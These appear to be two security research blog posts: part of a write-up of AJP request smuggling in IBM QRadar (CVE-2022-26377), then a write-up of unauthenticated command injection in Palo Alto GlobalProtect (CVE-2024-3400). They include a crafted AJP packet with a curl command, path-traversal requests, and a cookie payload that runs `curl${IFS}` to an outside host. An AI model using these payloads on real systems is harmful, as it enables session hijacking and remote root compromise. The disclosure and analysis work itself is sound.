After firing the PoC, we were unable to retrieve the web.xml file as expected. However, we’re quick to notice after firing it a few times in quick succession that there’s a variation between responses, with some returning a 302 status code and some a 403 .

A typical response looks something like this:

HTTP/1.1 302 302
Date: Sun, 10 Mar 2024 01:48:11 GMT
Server: QRadar
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubdomains;
Strict-Transport-Security: max-age=31536000; includeSubDomains
Set-Cookie: JSESSIONID=C7714302E58A4565A3FAA7B786325D93; Path=/; Secure; HttpOnly
Pragma: no-cache
Cache-Control: no-store, max-age=0
Location: /console/core/jsp/Main.jsp;jsessionid=C7714302E58A4565A3FAA7B786325D93
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Expires: Sun, 10 Mar 2024 01:48:11 GMT

And a differential response:

HTTP/1.1 403 403
Date: Sun, 10 Mar 2024 02:12:13 GMT
Server: QRadar
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubdomains;
Content-Length: 0
Cache-Control: max-age=1209600
Expires: Sun, 24 Mar 2024 02:12:13 GMT
X-Frame-Options: SAMEORIGIN

Using tcpdump, we can observe that our single HTTP request has indeed resulted in two AJP request packets being sent to the AJP backend. The two requests are as followed

  • The legitimate AJP request triggered by our initial HTTP request, and,
  • The smuggled request

Put simply - this makes a lot of sense - we’re definitely smuggling a request here.

At this point, we were much more interested in the varying in response status codes - what is going on here?

IBM QRadar - When The Attacker Controls Your Security Stack   (CVE-2022-26377)

Let’s take stock of what we’re observing:

  • One HTTP request results in two AJP Packets being sent to the backend
  • Somehow, HTTP Responses are being returned out of sync

Our first point is enough to arrive at the conclusion that we’ve found an instance of CVE-2022-26377. The (at the time of performing our research) up-to-date version of QRadar (7.5.0 UP7) is definitely vulnerable, since a single HTTP request can smuggle an additional AJP packet.

Our journey doesn’t end here, though. It never does.

Bugs are fun, but to assess real-world impact, we need to dive into how this can be exploited by a threat actor and determine the real risk.

Godzilla Vs Golliath(?)

IBM QRadar - When The Attacker Controls Your Security Stack   (CVE-2022-26377)

So, the big question - we've confirmed CVE-2022-26377 it seems and excitingly we can now split one HTTP request into 2 AJP requests. But, zzz - how is CVE-2022-26377 actually exploitable in the context of QRadar?

In the previous real-world example of CVE-2022-26377 being exploited against F5, AJP packets were being parsed by additional Java functionality, which allowed authentication to be bypassed via the smuggled AJP packet with additional values injected into it.

We spent some time diving through the console application exposed by IBM QRadar, looking for scenarios similar to the F5. However, we come up short on functionality to escalate our level of authentication via just a single injected AJP packet.

Slightly exasperated by this, our next course of action can be expressed via the following quote, taken from the developers of the original F5 BigIP vulnerability researchers:

We then leveraged our advanced pentesting skills and re-ran the curl command several times, because sometimes vulnerability research is doing the same thing multiple times and somehow getting different results

As much as we like to believe that computers are magic - we have been informed via TikTok that this is not the case, and something more mundane is happening here. We noticed the application began to ‘break’, and responses were, in fact, unsynchronized. While this sounds strange - this is a relatively common artefact around request smuggling-class vulnerabilities.

When we say ‘desynchronized’, we mean that the normal “cause-and-effect” flow of a web application, or the HTTP protocol, no longer applies.

Usually, there is a very simple flow to web requests - the user makes a request, and the server issues a corresponding response. Even if two users make requests simultaneously, the server keeps the requests separate, keeping them neatly queued up and ensuring the correct user only ever sees responses for the requests they have issued. Soemthing about the magic of TCP.

However, in the case of QRadar, since a single HTTP request results in two AJP requests, we are generating an imbalance in the number of responses created. This confuses things, and as the response queue is out of sync with the request queue, the server may erraneously respond with a response intended for an entirely different user.

This is known as a DeSync Attack, for which there is some amount of public research in the context of HTTP, but relatively little concerning AJP.

But, how can we abuse this in the context of IBM's QRadar?

Anyway, tangent time

Well, where would life be without some random vulnerabilities that we find along the way?

When making a request to the console application with a doctored HTTP request 'Host' header, we can observe that QRadar trusts this value and uses it to construct values used within the Location HTTP response header - commonly known as a Host Header Injection vulnerability. Fairly common, but for the sake of completeness - here’s a request and response to show the issue:

Request:

GET /console/watchtowr HTTP/1.1
Host: watchtowr.com

Response:

HTTP/1.1 302 302
Date: Sun, 10 Mar 2024 02:16:55 GMT
Server: QRadar
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubdomains;
Strict-Transport-Security: max-age=31536000; includeSubDomains
Set-Cookie: JSESSIONID=74779EA7C7827A53BD474F884657CDA6; Path=/; Secure; HttpOnly
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Location: <https://watchtowr.com:443/console/logon.jsp?loadback=76edfcc6-4a57-496e-a03c-ea2e8a50ffb6>
Content-Length: 0
X-Frame-Options: SAMEORIGIN

It’s a very minor vulnerability, if you could even call it that - in practice, what good is a redirect that requires modification of the Host HTTP request header in a request sent by the victim? In almost all cases imaginable, this is completely useless.

Is this one of the vanishingly uncommon instances where it is useful?

Well, well, well…

Typically, with vulnerabilities that involve poisoning of responses, we have to look for gadgets to chain them with to escalate the magnitude of an attack - tl;dr what can we do to demonstrate impact.

Can we take something harmless, and make it harmful? Perhaps we can take the ‘useless’ Host Header Injection ‘vulnerability’ discussed above, and turn it into something fruitful.

It turns out, by formatting this Host Header Injection request into an AJP forwarding packet and sending it to the QRadar instance using our AJP smuggling technique, we can turn it into a site-wide exploit - hitting any user that is lucky(!) enough to be using QRadar.

Groan..

Below is a correctly formatted AJP Forward Request packet (note the use of B’s to correctly pad the packet out to the correct size). This AJP packet emulates a HTTP request leveraging the Host Header Injection discussed above.

We will smuggle this packet in, and observe the result. Once the queues are desynchronised, the response will be served to other users of the application, and since we control the Location response header, we can cause the unsuspecting user to be redirected to a host of our choosing.

00000000: 0008 4854 5450 2f31 2e31 0000 0b2f 636f  ..HTTP/1.1.../co
00000010: 6e73 6f6c 652f 7878 0000 0931 3237 2e30  nsole/xx...127.0
00000020: 2e30 2e31 0000 026c 6f00 0007 6c6f 6361  .0.1...lo...loca
00000030: 6c78 7400 0050 0000 0300 0154 0000 2042  lxt..P.....T.. B
00000040: 4242 4242 4242 4242 4242 4242 4242 4242  BBBBBBBBBBBBBBBB
00000050: 4242 4242 4242 4242 4242 4242 4242 4200  BBBBBBBBBBBBBBB.
00000060: 000a 5741 5443 4854 4f57 5230 0000 0130  ..WATCHTOWR0...0
00000070: 00a0 0b00 0d77 6174 6368 746f 7772 2e63  .....watchtowr.c
00000080: 6f6d 0003 0062 6262 6262 0005 0162 6262  om...bbbbb...bbb
00000090: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
000000a0: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
000000b0: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
000000c0: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
000000d0: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
000000e0: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
000000f0: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
00000100: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
00000110: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
00000120: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
00000130: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
00000140: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
00000150: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
00000160: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
00000170: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
00000180: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
00000190: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
000001a0: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
000001b0: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
000001c0: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
000001d0: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
000001e0: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
000001f0: 6262 6262 6262 6262 6262 6262 6265 3d00  bbbbbbbbbbbbbe=.
00000200: ff00
curl -k -i https://<qradar-host>/console/ -H 'Transfer-Encoding: chunked, chunked' \\
		--data-binary @payload.txt

Poisoned Response:

HTTP/1.1 302 302
Date: Sun, 10 Mar 2024 02:35:06 GMT
Server: QRadar
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubdomains;
Set-Cookie: JSESSIONID=E3D8AB1D2D6B3267BE9FB3BF3FFAD9C0; Path=/; HttpOnly
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Location: <http://watchtowr.com:80/console/logon.jsp?loadback=44d7c786-522d-4bc2-90be-f1eac249da3c>
Content-Length: 0
X-Frame-Options: SAMEORIGIN

What are we seeing here?

Well, after a few attempts, the server has started to serve the poisoned response to other users of the application - even authenticated users - to be redirected via the Location we control.

This is a clear case of CVE-2022-26377 in an exploitable manner; we can redirect all application users to an external host. Exploitation of this by a threat actor is only limited by their imagination; we can easily conjure up a likely attack scenario.

Picture a Blue Team operator logging in to their favourite QRadar instance after receiving a few of their favourite alerts, warning them of potential ransomware being deployed across their favourite infrastructure. Imagine them desperately looking for their favourite ‘patient zero’ and hoping to nip their favourite threat actors' campaign in the bud.

While navigating through their dashboards, however, an attacker uses this vulnerability to silently redirect them to a ‘fake’ QRadar instance, mirroring their own instance - but instead of those all-important alerts - all is quiet in this facade QRadar instance, and nothing is reported.

The poor Blue Team Operator goes for their lunch, confident there is no crisis - while in reality, their domain is compromised with malicious GPOs carrying the latest cryptolocker malware.

Before they even realise what's going on, it's too late; the damage is done.

In case you need a little more convincing, here’s a short video clip of the exploit taking place:

Proof of Concept

At watchTowr, we no longer publish Proof of Concepts. We heard the tweets, we heard the comments - we were making it too easy for defensive teams to build detection artefacts for these vulnerabilities contextualised to their environment.

So instead, we've decided to do something better - that's right! We're proud to release the first of many to come of our Python-based, dynamic detection artefact generator tools.

https://github.com/watchtowrlabs/ibm-qradar-ajp_smuggling_CVE-2022-26377_poc

DeSync Responses

So, we'vee shown a pretty scary exploitation scenario - but it turns out we can take things even further if we apply a little creativity (ha ha, who knew that watchTowr ever take things too far 😜).

At this point, the HTTP response queue is in tatters, with authenticated responses being returned to unauthenticated users - that's right, we can leak privileged information from your QRadar SIEM, the heart of your security stack, to unauthenticated users with this vulnerability.

Well, let’s take an extremely brief look into how QRadar handles sessions.

Importantly, in QRadar’s design, each user's session values need to be refreshed relatively often - every few minutes. This is a security mechanism designed to expire values quickly, in case they are inadvertently exposed. Ironically however, we can use these as a powerful exploitation primitive, since they can be returned to unauthenticated users if the response queue is, in technical terms, "rekt". Which, at this point, it is.

Here’s how a session refresh looks:

HTTP/1.1 200 200
Date: Sun, 10 Mar 2024 02:53:34 GMT
Server: QRadar
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubdomains;
Strict-Transport-Security: max-age=31536000; includeSubDomains
Set-Cookie: JSESSIONID=CE0279DC02A0715BB41358EC44A7F546; Path=/; Secure; HttpOnly
Set-Cookie: QRadarCSRF=083a2ebb-7d42-4e56-b4a9-728843f6958e; Path=/; Secure
Set-Cookie: AJAXTimeoutLimit=5; Path=/; Secure
Set-Cookie: SEC=03de6b43-8454-469a-8d40-076f6d12a13d; Path=/; Secure; HttpOnly
Set-Cookie: inactivityTimeout=30; Path=/; Secure
Set-Cookie: lastClickTime=2024-03-10T02:53Z; Path=/; Secure
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
X-Frame-Options: SAMEORIGIN
Content-Length: 1045
Connection: close

If the above isn't sufficiently clear, the session credentials for authenticated users are returned in an HTTP response (if this is not obvious) and thus in the context of  this vulnerability, these same values would be returned to unauthenticated users.

If you follow our leading words, this would allow threat actors (or watchTowr's automation) to assume the session of the user and take control of their QRadar SIEM instance in a single request. 

Flagship security software from IBM.

Once again, exploitation is in the hands of creative threat actors; how could this be further exploited in a real-world attack?

Imagine your first day as the new Blue Team lead in a Fortune 500 organisation; you want to show off to your new employer, demonstrating all the latest threat-hunting techniques.

You’ve got your QRadar instance at hand, you’ve got agent deployment across the organisation, and you have the all-important logs to sort through and subject to your creative rulesets.

You authenticate to QRadar, and hammer away like the pro defender you are. However, a threat actor quietly DeSync’s your instance, and your session data starts to leak. They authenticate to your QRadar instance as if they were you and begin to snoop on your activities.

IBM QRadar - When The Attacker Controls Your Security Stack   (CVE-2022-26377)

A quick peek into the ingested raw logs reveals cleartext Active Directory credentials submitted by service accounts across the board. Whose hunting who now?

The threat actors campaign is just beginning, and the race to compromise the organisation has started the moment you log into your QRadar. Good job on your first day.

Thanks IBM!

Tl;dr how bad is this

To sum up the impact the vulnerability has, in the context of QRadar, from an un-authenticated perspective:

  • An unauthenticated attacker gains the ability to poison responses of authenticated users
  • An unauthenticated attacker gains the ability to redirect users to an external domain:
    • For example, the external domain could imitate the QRadar instance in a Phishing attack to garner cleartext credentials
  • An unauthenticated attacker gains the ability to cause a Denial-Of-Service in the QRadar instance and interrupt ongoing security operations
  • An unauthenticated attacker gains the ability to retrieve responses of authenticated users
    • Observe ongoing security operations
    • Extract logs from endpoints and devices feeding data to the QRadar instance
    • Obtain session data from authenticated users and administrators and authenticate with this data.

Conclusion

Hopefully, this post has shown you that as an industry we still cannot even do the basics - let alone a listed, too-big-to-fail technology vendor.

While there will be a continuation of evolution of threats that compound our timelines and day-jobs, and state-sponsored actors trying to slip backdoors into OpenSSH - it doesn't mean we ignore the.. very basics.

To see such an omission from a vendor of security software, in their flagship security product - in our opinion, this is disappointing.

Usual advice applies - patch, pray that IBM now know to update dependencies, see what happens next time.

At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic high-impact vulnerabilities that affect your organisation.

It's our job to understand how emerging threats, vulnerabilities, and TTPs affect your organisation.

If you'd like to learn more about the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch.

Timeline

Date Detail
3rd January 2024 Vulnerability discovered
17th January 2024 Vulnerabilities disclosed to IBM PSIRT
17th January 2024 IBM responds and assigned the internal tracking references “ADV0108871”
25th January 2024 watchTowr hunts through client's attack surfaces for impacted systems, and communicates with those affected
26th March 2024 IBM issues a security bulletin and utilising the identifiers CVE-2022-26377 - https://www.ibm.com/support/pages/node/7145265
12th April 2024 Blogpost and PoC released to public

Palo Alto - Putting The Protecc In GlobalProtect (CVE-2024-3400)

By: Sonny
16 April 2024 at 13:37
Palo Alto - Putting The Protecc In GlobalProtect (CVE-2024-3400)

Welcome to April 2024, again. We’re back, again.

Over the weekend, we were all greeted by now-familiar news—a nation-state was exploiting a “sophisticated” vulnerability for full compromise in yet another enterprise-grade SSLVPN device.

We’ve seen all the commentary around the certification process of these devices for certain .GOVs - we’re not here to comment on that, but sounds humorous.

Interesting:
As many know, Palo-Alto OS is U.S. gov. approved for use in some classified networks. As such, U.S. gov contracted labs periodically evaluate PAN-OS for the presence of easy to exploit vulnerabilities.

So how did that process miss a bug like 2024-3400?

Well...

— Brian in Pittsburgh (@arekfurt) April 15, 2024

We would comment on the current state of SSLVPN devices, but like jokes about our PII being stolen each week, the news of yet another SSLVPN RCE is getting old.

On Friday 12th April, the news of CVE-2024-3400 dropped. A vulnerability that “based on the resources required to develop and exploit a vulnerability of this nature” was likely used by a “highly capable threat actor”.

Exciting.

Here at watchTowr, our job is to tell the organisations we work with whether appliances in their attack surface are vulnerable with precision. Thus, we dived in.

If you haven’t read Volexity’s write-up yet, we’d advise reading it first for background information. A friendly shout-out to the team @ Volexity - incredible work, analysis and a true capability that we as an industry should respect. We’d love to buy the team a drink(s).

CVE-2024-3400

We start with very little, and as in most cases are armed with a minimal CVE description:

A command injection vulnerability in the GlobalProtect feature of Palo Alto Networks 
PAN-OS software for specific PAN-OS versions and distinct feature configurations may
enable an unauthenticated attacker to execute arbitrary code with root privileges on
the firewall.
Cloud NGFW, Panorama appliances, and Prisma Access are not impacted by 
this vulnerability.

What is omitted here is the pre-requisite that telemetry must be enabled to achieve command injection with this vulnerability. From Palo Alto themselves:

This issue is applicable only to PAN-OS 10.2, PAN-OS 11.0, and PAN-OS 11.1 firewalls 
configured with GlobalProtect gateway or GlobalProtect portal (or both) and device
telemetry enabled.

The mention of ‘GlobalProtect’ is pivotal here - this is Palo Alto’s SSLVPN implementation, and finally, my kneejerk reaction to turn off all telemetry on everything I own is validated! A real vuln that depends on device telemetry!

While the above was correct at the time of writing, Palo Alto have now confimed that telemetry is not required to exploit this vulnerability. Thanks to the Palo Alto employee that reached out to update us that this is an even bigger mess than first thought.

Our Approach To Analysis

As always, our journey begins with a hop, skip and jump to Amazon’s AWS Marketplace to get our hands on a shiny new box to play with.

Fun fact: partway through our investigations, Palo Alto took the step of removing the vulnerable version of their software from the AWS Marketplace - so if you’re looking to follow along with our research at home, you may find doing so quite difficult.

Accessing The File System

Anyway, once you get hold of a running VM in an EC2, it is trivial to access the device’s filesytem. No disk encryption is at play here, which means we can simply boot the appliance from a Linux root filesystem and mount partitions to our heart’s content.

The filesystem layout doesn’t pack any punches, either. There’s the usual nginx setup, with one configuration file exposing GlobalProtect URLs and proxying them to a service listening on the loopback interface via the proxypass directive, while another configuration file exposes the management UI:

location ~ global-protect/(prelogin|login|getconfig|getconfig_csc|satelliteregister|getsatellitecert|getsatelliteconfig|getsoftwarepage|logout|logout_page|gpcontent_error|get_app_info|getmsi|portal\\/portal|portal/consent).esp$ {
    include gp_rule.conf;
    proxy_pass   http://$server_addr:20177;
}

There’s a handy list of endpoints there, allowing us to poke around without even cracking open the handler binary.

With the bug class as it is - command injection - it’s always good to poke around and try our luck with some easy injections, but to no avail here. It’s time to crack open the hander for this mysterious service. What provides it?

Well, it turns out that it is handled by the gpsvc binary. This makes sense, it being the Global Protect service. We plopped this binary into the trusty IDA Pro, expecting a long and hard voyage of reversing, only to be greeted with a welcome break:

Palo Alto - Putting The Protecc In GlobalProtect (CVE-2024-3400)

Debug symbols! Wonderful! This will make reversing a lot easier, and indeed, those symbols are super-useful.

Our first call, somewhat obviously, is to find references to the system call (and derivatives), but there’s no obvious injection point here. We’re looking at something more subtle than a straightforward command injection.

Unmarshal Reflection

Our big break occurred when we noticed some weird behavior when we fed the server a malformed session ID. For example, using the session value Cookie: SESSID=peekaboo; and taking a look at the logs, we can see a somewhat-opaque clue:

{"level":"error","task":"1393405-22","time":"2024-04-16T06:21:51.382937575-07:00","message":"failed to unmarshal session(peekaboo) map , EOF"}

An EOF? That kind-of makes sense, since there’s no session with this key. The session-store mechanism has failed to find information about the session. What happens, though, if we pass in a value containing a slash? Let’s try Cookie: SESSID=foo/bar;:

2024-04-16 06:19:34 {"level":"error","task":"1393401-22","time":"2024-04-16T06:19:34.32095066-07:00","message":"failed to load file /tmp/sslvpn/session_foo/bar,

Huh, what’s going on here? Is this some kind of directory traversal?! Let’s try our luck with our old friend .. , supplying the cookie Cookie: SESSID=/../hax;:

2024-04-16 06:24:48 {"level":"error","task":"1393411-22","time":"2024-04-16T06:24:48.738002019-07:00","message":"failed to unmarshal session(/../hax) map , EOF"}

Ooof, are we traversing the filesystem here? Maybe there’s some kind of file write possible. Time to crack open that disassembly and take a look at what’s going on. Thanks to the debug symbols this is a quick task, as we quickly find the related symbols:

.rodata:0000000000D73558                 dq offset main__ptr_SessDiskStore_Get
.rodata:0000000000D73560                 dq offset main__ptr_SessDiskStore_New
.rodata:0000000000D73568                 dq offset main__ptr_SessDiskStore_Save

Great. Let’s give main__ptr_SessDiskStore_New a gander. We can quickly see how the session ID is concatenated into a file path unsafely:

    path = s->path;
    store_8e[0].str = (uint8 *)"session_";
    store_8e[0].len = 8LL;
    store_8e[1] = session->ID;
    fmt_24 = runtime_concatstring2(0LL, *(string (*)[2])&store_8e[0].str);
    *((_QWORD *)&v71 + 1) = fmt_24.len;
    if ( *(_DWORD *)&runtime_writeBarrier.enabled )
      runtime_gcWriteBarrier();
    else
      *(_QWORD *)&v71 = fmt_24.str;
    stored.array = (string *)&path;
    stored.len = 2LL;
    stored.cap = 2LL;
    filename = path_filepath_Join(stored);

Later on in the function, we can see that the binary will - somewhat unexpectedly - create the directory tree that it attempts to read the file containing session information from.

      if ( os_IsNotExist(fmta._r2) )
      {
        store_8b = (github_com_gorilla_sessions_Store_0)net_http__ptr_Request_Context(r);
        ctxb = store_8b.tab;
        v52 = runtime_convTstring((string)s->path);
        v6 = (_1_interface_ *)runtime_newobject((runtime__type_0 *)&RTYPE__1_interface_);
        v51 = (interface__0 *)v6;
        (*v6)[0].tab = (void *)&RTYPE_string_0;
        if ( *(_DWORD *)&runtime_writeBarrier.enabled )
          runtime_gcWriteBarrier();
        else
          (*v6)[0].data = v52;
        storee.tab = ctxb;
        storee.data = store_8b.data;
        fmtb.str = (uint8 *)"folder is missing, create folder %s";
        fmtb.len = 35LL;
        fmt_16a.array = v51;
        fmt_16a.len = 1LL;
        fmt_16a.cap = 1LL;
        paloaltonetworks_com_libs_common_Warn(storee, fmtb, fmt_16a);
        err_1 = os_MkdirAll((string)s->path, 0644u);

This is interesting, and clearly we’ve found a ‘bug’ in the true sense of the word - but have we found a real, exploitable vulnerability?

All that this function gives us is the ability to create a directory structure, with a zero-length file at the bottom level.

We don’t have the ability to put anything in this file, so we can’t simply drop a webshells or anything.

We can cause some havoc by accessing various files in /dev - adventurous (reckless?) tests supplied /dev/nvme0n1 as the cookie file, causing the device to rapidly OOM, but verifying that we could read files as the superuser, not as a limited user.

Arbitrary File Write

Unmarshalling the local file via the user input that we control in the SESSID cookie takes place as root, and with read and write privileges. An unintended consequence is that should the requested file not exist, the file system creates a zero-byte file in its place with the filename intact.

We can verify this is the case by writing a file to the webroot of the appliance, in a location we can hit from an unauthenticated perspective, with the following HTTP request (and loaded SESSID cookie value).

POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: hostname
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/watchtowr.txt;

When we attempt to then retrieve the file we previously attempted to create with a simple HTTP request, the web server responds with a 403 status code instead of a 404 status code, indicating that the file has been created. It should be noted that the file is created using root privileges, and as such, it is not possible to view its contents. But, who cares—it's a zero-byte file anyway.

This is in line with the analysis provided by various threat intelligence vendors, which gave us confidence that we were on the right track. But what now?

Telemetry Python

As we discussed further above - a fairly important detail within the advisory description explains that only devices which have telemetry enabled are vulnerable to command injection. But, our above SESSID shenanigans are not influenced by telemetry being enabled or disabled, and thus decided to dive further (and have another 5+ RedBulls).

Without getting too gritty with the code just yet, we observed from appliance logs that we had access to, that every so often telemetry functionality was running on a cronjob and ingesting log files within the appliance. This telemetry functionality then fed this data to Palo Alto servers, who were probably observing both threat actors and ourselves playing around (”Hi Palo Alto!”).

Within the logs that we were reviewing, a certain element stood out - the logging of a full shell command, detailing the use of curl to send logs to Palo Alto from a temporary directory:

24-04-16 02:28:05,060 dt INFO S2: XFILE: send_file: curl cmd: '/usr/bin/curl -v -H "Content-Type: application/octet-stream" -X PUT "<https://storage.googleapis.com/bulkreceiver-cdl-prd1-sg/telemetry/><SERIAL_NO>/2024/04/16/09/28//opt/panlogs/tmp/device_telemetry/minute/PA_<SERIAL_NO>_dt_11.1.2_20240416_0840_5-min-interval_MINUTE.tgz?GoogleAccessId=bulkreceiver-frontend-sg-prd@cdl-prd1-sg.iam.gserviceaccount.com&Expires=1713260285&Signature=<truncated>" --data-binary @/opt/panlogs/tmp/device_telemetry/minute/PA_<SERIAL_NO>_dt_11.1.2_20240416_0840_5-min-interval_MINUTE.tgz --capath /tmp/capath'

We were able to trace this behaviour to the Python file /p2/usr/local/bin/dt_curl on line #518:

if source_ip_str is not None and source_ip_str != "": 
        curl_cmd = "/usr/bin/curl -v -H \\"Content-Type: application/octet-stream\\" -X PUT \\"%s\\" --data-binary @%s --capath %s --interface %s" \\
                     %(signedUrl, fname, capath, source_ip_str)
    else:
        curl_cmd = "/usr/bin/curl -v -H \\"Content-Type: application/octet-stream\\" -X PUT \\"%s\\" --data-binary @%s --capath %s" \\
                     %(signedUrl, fname, capath)
    if dbg:
        logger.info("S2: XFILE: send_file: curl cmd: '%s'" %curl_cmd)
    stat, rsp, err, pid = pansys(curl_cmd, shell=True, timeout=250)

The string curl_cmd is fed through a custom library pansys which eventually calls pansys.dosys() in /p2/lib64/python3.6/site-packages/pansys/pansys.py line #134:

    def dosys(self, command, close_fds=True, shell=False, timeout=30, first_wait=None):
        """call shell-command and either return its output or kill it
           if it doesn't normally exit within timeout seconds"""
    
        # Define dosys specific constants here
        PANSYS_POST_SIGKILL_RETRY_COUNT = 5

        # how long to pause between poll-readline-readline cycles
        PANSYS_DOSYS_PAUSE = 0.1

        # Use first_wait if time to complete is lengthy and can be estimated 
        if first_wait == None:
            first_wait = PANSYS_DOSYS_PAUSE

        # restrict the maximum possible dosys timeout
        PANSYS_DOSYS_MAX_TIMEOUT = 23 * 60 * 60
        # Can support upto 2GB per stream
        out = StringIO()
        err = StringIO()

        try:
            if shell:
                cmd = command
            else:
                cmd = command.split()
        except AttributeError: cmd = command

        p = subprocess.Popen(cmd, stdout=subprocess.PIPE, bufsize=1, shell=shell,
                 stderr=subprocess.PIPE, close_fds=close_fds, universal_newlines=True)
        timer = pansys_timer(timeout, PANSYS_DOSYS_MAX_TIMEOUT)

As those who are gifted with sight can likely see, this command is eventually pushed through subprocess.Popen() . This is a known function for executing commands (..), and naturally becomes dangerous when handling user input - therefore, by default Palo Alto set shell=False within the function definition to inhibit nefarious behaviour/command injection.

Luckily for us, that became completely irrelevant when the function call within dt_curl overwrote this default and set shell=True when calling the function.

Naturally, this began to look like a great place to leverage command injection, and thus, we were left with the challenge of determining whether our ability to create zero-byte files was relevant.

Without trying to trace code too much, we decided to upload a file to a temporary directory utilised by the telemetry functionality (/opt/panlogs/tmp/device_telemetry/minute/) to see if this would be utilised, and reflected within the resulting curl shell command.

Using a simple filename of “hellothere” within the SESSID value of our unauthenticated HTTP request:

POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: <Hostname>
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere

As luck would have it, within the device logs, our flag is reflected within the curl shell command:

24-04-16 01:33:03,746 dt INFO S2: XFILE: send_file: curl cmd: '/usr/bin/curl -v -H "Content-Type: application/octet-stream" -X PUT "<https://storage.googleapis.com/bulkreceiver-cdl-prd1-sg/telemetry/><serial-no>/2024/04/16/08/33//opt/panlogs/tmp/device_telemetry/minute/hellothere?GoogleAccessId=bulkreceiver-frontend-sg-prd@cdl-prd1-sg.iam.gserviceaccount.com&Expires=1713256984&Signature=<truncated>" --data-binary @/opt/panlogs/tmp/device_telemetry/minute/**hellothere** --capath /tmp/capath'

At this point, we’re onto something - we have an arbitrary value in the shape of a filename being injected into a shell command. Are we on a path to receive angry tweets again?

We played around within various payloads till we got it right, the trick being that spaces were being truncated at some point in the filename's journey - presumably as spaces aren't usually allowed in cookie values.

To overcome this, we drew on our old-school UNIX knowledge and used the oft-abused shell variable IFS as a substitute for actual spaces. This allowed us to demonstrate control and gain command execution by executing a Curl command that called out to listening infrastructure of our own!

Palo Alto - Putting The Protecc In GlobalProtect (CVE-2024-3400)

Here is an example SESSID payload:

Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}x1.outboundhost.com`;

And the associated log, demonstrating our injected curl command:

24-04-16 02:28:07,091 dt INFO S2: XFILE: send_file: curl cmd: '/usr/bin/curl -v -H "Content-Type: application/octet-stream" -X PUT "<https://storage.googleapis.com/bulkreceiver-cdl-prd1-sg/telemetry/><serial-no>/2024/04/16/09/28//opt/panlogs/tmp/device_telemetry/minute/hellothere226%60curl%24%7BIFS%7Dx1.outboundhost.com%60?GoogleAccessId=bulkreceiver-frontend-sg-prd@cdl-prd1-sg.iam.gserviceaccount.com&Expires=1713260287&Signature=<truncated>" --data-binary @/opt/panlogs/tmp/device_telemetry/minute/hellothere226**`curl${IFS}x1.outboundhost.com**` --capath /tmp/capath'

why hello there to you, too!

Proof of Concept

At watchTowr, we no longer publish Proof of Concepts. Why prove something is vulnerable when we can just believe it's so?

Instead, we've decided to do something better - that's right! We're proud to release another detection artefact generator tool, this time in the form of an HTTP request:

POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: watchtowr.com
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere`curl${IFS}where-are-the-sigma-rules.com`;
Content-Type: application/x-www-form-urlencoded
Content-Length: 158

user=watchTowr&portal=watchTowr&authcookie=e51140e4-4ee3-4ced-9373-96160d68&domain=watchTowr&computer=watchTowr&client-ip=watchTowr&client-ipv6=watchTowr&md5-sum=watchTowr&gwHipReportCheck=watchTowr

As we can see, we inject our command injection payload into the SESSID cookie value - which, when a Palo Alto GlobalProtect appliance has telemetry enabled - is then concatenated into a string and ultimately executed as a shell command.

Something-something-sophistication-levels-only-achievable-by-a-nation-state-something-something.

Conclusion

It’s April. It’s the second time we’ve posted. It’s also the fourth time we’ve written a blog post about an SSLVPN vulnerability in 2024 alone. That's an average of once a month.

Palo Alto - Putting The Protecc In GlobalProtect (CVE-2024-3400)
The Twitter account https://twitter.com/year_progress puts our SSLVPN posts in context

